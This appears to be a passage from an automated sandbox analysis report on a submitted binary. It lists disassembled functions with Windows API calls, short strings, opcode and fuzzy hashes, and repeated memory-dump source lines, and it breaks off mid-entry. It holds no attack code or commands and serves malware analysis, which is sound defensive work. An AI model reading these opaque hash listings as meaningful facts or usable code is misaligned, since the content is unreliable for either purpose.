                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ErrorHandling__start
                                                • String ID: pow
                                                • API String ID: 3213639722-2276729525
                                                • Opcode ID: 77fab96b34dddb15bbd929b9f9910104ae534e0d5c8be78989dc56375560ddec
                                                • Instruction ID: e9a1f0b9fef3e7df854f8e1a636564233a0c6dc613b4a1aed30614ffa2ea094d
                                                • Opcode Fuzzy Hash: 77fab96b34dddb15bbd929b9f9910104ae534e0d5c8be78989dc56375560ddec
                                                • Instruction Fuzzy Hash: 9C515D6193C10396CF167F14C941BFA3BE89F50780F358A9CE4D6822A9DB358CB19E86
                                                Function 00317771 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON
                                                Download Yara Rule
                                                APIs
                                                • CharUpperBuffW.USER32(002E569E,00000000,?,0032CC08,?,00000000,00000000), ref: 003178DD
                                                  • Part of subcall function 00296B57: _wcslen.LIBCMT ref: 00296B6A
                                                • CharUpperBuffW.USER32(002E569E,00000000,?,0032CC08,00000000,?,00000000,00000000), ref: 0031783B
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: BuffCharUpper$_wcslen
                                                • String ID: <s5
                                                • API String ID: 3544283678-2156997616
                                                • Opcode ID: 109aa5cc819f46b383dcee66bd0ffcf471ff3f6b29a8822e9d4ec97532b9a3b8
                                                • Instruction ID: 6067df2d6db132a4401e4bc385900d6a2e5dbcb9d2d5fd2b3ba039113dadddca
                                                • Opcode Fuzzy Hash: 109aa5cc819f46b383dcee66bd0ffcf471ff3f6b29a8822e9d4ec97532b9a3b8
                                                • Instruction Fuzzy Hash: C2612376924119ABCF0AEBA4CC91DFDB378BF18700B584129F542B7091EF305A99CFA0
                                                Function 002AE187 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON
                                                Download Yara Rule
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID: #
                                                • API String ID: 0-1885708031
                                                • Opcode ID: 8d91d30bc3cfd4ed3ff9e137fe4c0bc70ced8bfdd335f82c2d2919f544b5bd48
                                                • Instruction ID: c509ec80a7a37203c26dab1e4efece8c4b1e7a08d250615f9189a1d78c9c06b6
                                                • Opcode Fuzzy Hash: 8d91d30bc3cfd4ed3ff9e137fe4c0bc70ced8bfdd335f82c2d2919f544b5bd48
                                                • Instruction Fuzzy Hash: B1513435560286DFDF25DF29C4816BABBA8EF66310F654019EC919B2D0DA309D63CB90
                                                Function 002AF291 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON
                                                Download Yara Rule
                                                APIs
                                                • Sleep.KERNEL32(00000000), ref: 002AF2A2
                                                • GlobalMemoryStatusEx.KERNEL32(?), ref: 002AF2BB
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: GlobalMemorySleepStatus
                                                • String ID: @
                                                • API String ID: 2783356886-2766056989
                                                • Opcode ID: 30998f1df151c29e518a08f030ad43323545a12608e8ed6546025662d56e9632
                                                • Instruction ID: 7cb98605680f7f389e40c82530c7635595e5ce07ca6e80fcad2e387c79d9edc1
                                                • Opcode Fuzzy Hash: 30998f1df151c29e518a08f030ad43323545a12608e8ed6546025662d56e9632
                                                • Instruction Fuzzy Hash: B85155724287449BD720AF10D886BAFBBF8FB85300F81884DF299411A5EB709579CB66
                                                Function 00315745 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON
                                                Download Yara Rule
                                                APIs
                                                • CharUpperBuffW.USER32(?,?,?,00000003,?,?), ref: 003157E0
                                                • _wcslen.LIBCMT ref: 003157EC
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: BuffCharUpper_wcslen
                                                • String ID: CALLARGARRAY
                                                • API String ID: 157775604-1150593374
                                                • Opcode ID: 9fe89b1652c943c24db315b47d689c07576fc9a3f887b80a9f877bc4519a2c9f
                                                • Instruction ID: 6cd4382894dd97d414ecda3f1df4e034647c493281e2d041bef4cf3faa72b1cc
                                                • Opcode Fuzzy Hash: 9fe89b1652c943c24db315b47d689c07576fc9a3f887b80a9f877bc4519a2c9f
                                                • Instruction Fuzzy Hash: 5A41BE31A10219DFCB19DFA8C8818FEBBB5FF99320F114029E505A7291EB309D81CF90
                                                Function 0030D0F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _wcslen.LIBCMT ref: 0030D130
                                                • InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 0030D13A
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CrackInternet_wcslen
                                                • String ID: |
                                                • API String ID: 596671847-2343686810
                                                • Opcode ID: 818c97e241304e860cf62d86deff7e901db3ce0ad17f81474cd09388dc291262
                                                • Instruction ID: 21ecb93a2737815a6926bd09fce9c20919e60563d9e1bd314fc40015d02f6501
                                                • Opcode Fuzzy Hash: 818c97e241304e860cf62d86deff7e901db3ce0ad17f81474cd09388dc291262
                                                • Instruction Fuzzy Hash: 47311871D11209ABCF15EFA4CC95EEEBFB9FF04340F000019E815A6162EB31AA56CF60
                                                Function 0032356C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON
                                                Download Yara Rule
                                                APIs
                                                • DestroyWindow.USER32(?,?,?,?), ref: 00323621
                                                • MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 0032365C
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Window$DestroyMove
                                                • String ID: static
                                                • API String ID: 2139405536-2160076837
                                                • Opcode ID: 8df7c8286adcececac6328fd15f8302c7121efe387724121097ddbae14c3f75d
                                                • Instruction ID: 467ec9a76a5a8868c5136448a2ff0208fe63c32b07da2c5ed2dc54a52eb3b5d6
                                                • Opcode Fuzzy Hash: 8df7c8286adcececac6328fd15f8302c7121efe387724121097ddbae14c3f75d
                                                • Instruction Fuzzy Hash: 6F31B071110614AEDB21DF28EC80FFB73ADFF48720F119619F8A597280DA34AD91CB60
                                                Function 00324537 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,00001132,00000000,?), ref: 0032461F
                                                • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00324634
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: MessageSend
                                                • String ID: '
                                                • API String ID: 3850602802-1997036262
                                                • Opcode ID: 06483f04487107ac905e26ec2afac4a482356655e5d64f4e5c9fe280dfe5eb5d
                                                • Instruction ID: b75a454c12abe065fdc93d5d83fce8fe2b8b490d5c10912bc41d11c7e2ce285b
                                                • Opcode Fuzzy Hash: 06483f04487107ac905e26ec2afac4a482356655e5d64f4e5c9fe280dfe5eb5d
                                                • Instruction Fuzzy Hash: A2313974A003199FDF15CFA9D990BDABBB9FF0A300F25406AE904AB341D770A941CF90
                                                Function 00293923 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 002D33A2
                                                  • Part of subcall function 00296B57: _wcslen.LIBCMT ref: 00296B6A
                                                • Shell_NotifyIconW.SHELL32(00000001,?), ref: 00293A04
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: IconLoadNotifyShell_String_wcslen
                                                • String ID: Line:
                                                • API String ID: 2289894680-1585850449
                                                • Opcode ID: 93d90dbc15a8b5507225edf729e9971f2d2e206df800e104130a8be407fdad70
                                                • Instruction ID: 379dbcc82a63e6518ba6fa825c7f5fdc898218e4c98c8d76f1d5d0783dc73d3e
                                                • Opcode Fuzzy Hash: 93d90dbc15a8b5507225edf729e9971f2d2e206df800e104130a8be407fdad70
                                                • Instruction Fuzzy Hash: 2731D671428300AADB22EF10DC45BEFB7DCAB40710F14455EF59A93191DBB09A68CBC2
                                                Function 003231EF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0032327C
                                                • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00323287
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: MessageSend
                                                • String ID: Combobox
                                                • API String ID: 3850602802-2096851135
                                                • Opcode ID: 73f294ae3d6c42ab1d16c024e8dc810269eb9e43a33fde11ba832595f8396d5d
                                                • Instruction ID: 7b9fd5125c45db50f6f12c3bd2f0a8c2cdf85af8527e3229d6106ddd1e687655
                                                • Opcode Fuzzy Hash: 73f294ae3d6c42ab1d16c024e8dc810269eb9e43a33fde11ba832595f8396d5d
                                                • Instruction Fuzzy Hash: A711E271300318BFEF229F54EC84EBB3B6EEB94364F114528F918A7290D6359D518B60
                                                Function 00323710 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 0029600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0029604C
                                                  • Part of subcall function 0029600E: GetStockObject.GDI32(00000011), ref: 00296060
                                                  • Part of subcall function 0029600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 0029606A
                                                • GetWindowRect.USER32(00000000,?), ref: 0032377A
                                                • GetSysColor.USER32(00000012), ref: 00323794
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Window$ColorCreateMessageObjectRectSendStock
                                                • String ID: static
                                                • API String ID: 1983116058-2160076837
                                                • Opcode ID: a1f96b2ceea9a6e4c149fe98df01708be2c959971891d6d5ea7dd751bc4ac814
                                                • Instruction ID: 174d61c08647c9937e85c1ff9c883fcaaa90b3574ae57ebd3b14aaa8d561b578
                                                • Opcode Fuzzy Hash: a1f96b2ceea9a6e4c149fe98df01708be2c959971891d6d5ea7dd751bc4ac814
                                                • Instruction Fuzzy Hash: E61159B2620219AFDF02DFA8DC45AEE7BB8FB08304F014514F955E2250D774E8219B50
                                                Function 0030CD1E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 0030CD7D
                                                • InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 0030CDA6
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Internet$OpenOption
                                                • String ID: <local>
                                                • API String ID: 942729171-4266983199
                                                • Opcode ID: 11a3710e3260fb452aa460e663c86e53a5140269f8e9e9433368db9c499a3e5e
                                                • Instruction ID: fb1d4f717ba84318e6af7a336a1903601e914e8b695ba7d9089408f497512f21
                                                • Opcode Fuzzy Hash: 11a3710e3260fb452aa460e663c86e53a5140269f8e9e9433368db9c499a3e5e
                                                • Instruction Fuzzy Hash: B011C271226631BAD73A4B668C59EE7BEACEF127A4F00533AB109830D0E7709845D6F0
                                                Function 00323429 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetWindowTextLengthW.USER32(00000000), ref: 003234AB
                                                • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 003234BA
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: LengthMessageSendTextWindow
                                                • String ID: edit
                                                • API String ID: 2978978980-2167791130
                                                • Opcode ID: 50b99c3784c02d9370445c6af9f81b279c89050c065793716fb0c101784437aa
                                                • Instruction ID: 2d08260157d50e298bbbaa3f17bdb8978384b348a4ab215a7d434d117d4b42d3
                                                • Opcode Fuzzy Hash: 50b99c3784c02d9370445c6af9f81b279c89050c065793716fb0c101784437aa
                                                • Instruction Fuzzy Hash: 9811BF71110128ABEB236E65EC44AFB376EEB05374F614364FA60931D0C779EC519B60
                                                Function 002F6C86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00299CB3: _wcslen.LIBCMT ref: 00299CBD
                                                • CharUpperBuffW.USER32(?,?,?), ref: 002F6CB6
                                                • _wcslen.LIBCMT ref: 002F6CC2
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: _wcslen$BuffCharUpper
                                                • String ID: STOP
                                                • API String ID: 1256254125-2411985666
                                                • Opcode ID: 03908854d5b7c99de5be479b2ae0272fdf2459915f0f720dfb1586956d9b35f6
                                                • Instruction ID: 3503dbbce84d1afc9d5230be9cf5cd0af6dcf13cf0846e690461b36095a5d17c
                                                • Opcode Fuzzy Hash: 03908854d5b7c99de5be479b2ae0272fdf2459915f0f720dfb1586956d9b35f6
                                                • Instruction Fuzzy Hash: 8401263263052B8BCB21AFFDDC888BFB3B4FB617907000539E9A293195EB31D860C650
                                                Function 002F1BD8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00299CB3: _wcslen.LIBCMT ref: 00299CBD
                                                  • Part of subcall function 002F3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 002F3CCA
                                                • SendMessageW.USER32(?,00000180,00000000,?), ref: 002F1C46
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ClassMessageNameSend_wcslen
                                                • String ID: ComboBox$ListBox
                                                • API String ID: 624084870-1403004172
                                                • Opcode ID: f2ec874dde71cc24615b1ae2114c728c9803a70ebc413bd9468a6557c80a358c
                                                • Instruction ID: 0cec4c671613de1f173faf1a10844b169da281db8402803fa7c1dd19fcfe1f94
                                                • Opcode Fuzzy Hash: f2ec874dde71cc24615b1ae2114c728c9803a70ebc413bd9468a6557c80a358c
                                                • Instruction Fuzzy Hash: AF01FC7166010CA6CF04EB94CD51DFFB3A89B15380F54002FE91673281EA209E3CCAB2
                                                Function 002F1C5C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00299CB3: _wcslen.LIBCMT ref: 00299CBD
                                                  • Part of subcall function 002F3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 002F3CCA
                                                • SendMessageW.USER32(?,00000182,?,00000000), ref: 002F1CC8
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ClassMessageNameSend_wcslen
                                                • String ID: ComboBox$ListBox
                                                • API String ID: 624084870-1403004172
                                                • Opcode ID: 7a4bdb85182475e160a6a87cf53ed24caef20958c82acb9b45741ed14e7f811f
                                                • Instruction ID: 39dc546506e2edfbab05095005fc800d9fe0f31e400949a1dad1874b02ce264d
                                                • Opcode Fuzzy Hash: 7a4bdb85182475e160a6a87cf53ed24caef20958c82acb9b45741ed14e7f811f
                                                • Instruction Fuzzy Hash: 5901A771A6011DA6CF15EB95CA11EFEB7A89B11380F54002FB91273291EA619F38CA72
                                                Function 002AA4D6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON
                                                Download Yara Rule
                                                APIs
                                                • __Init_thread_footer.LIBCMT ref: 002AA529
                                                  • Part of subcall function 00299CB3: _wcslen.LIBCMT ref: 00299CBD
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Init_thread_footer_wcslen
                                                • String ID: ,%6$3y.
                                                • API String ID: 2551934079-3341285861
                                                • Opcode ID: 234031a2736d2de104d7019ee66f745c2c4e0feb55b8aca4d087abdc648c9e79
                                                • Instruction ID: 356e80d62cb9720a04d7d2d9e6374d84f4fb76a88200eaeadb6666bfc0aee452
                                                • Opcode Fuzzy Hash: 234031a2736d2de104d7019ee66f745c2c4e0feb55b8aca4d087abdc648c9e79
                                                • Instruction Fuzzy Hash: 8F014731E206108BC916F76CD857AAE73189F07720F804029F612171C2EF509D61CE9B
                                                Function 00328172 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40processCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00363018,0036305C), ref: 003281BF
                                                • CloseHandle.KERNEL32 ref: 003281D1
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
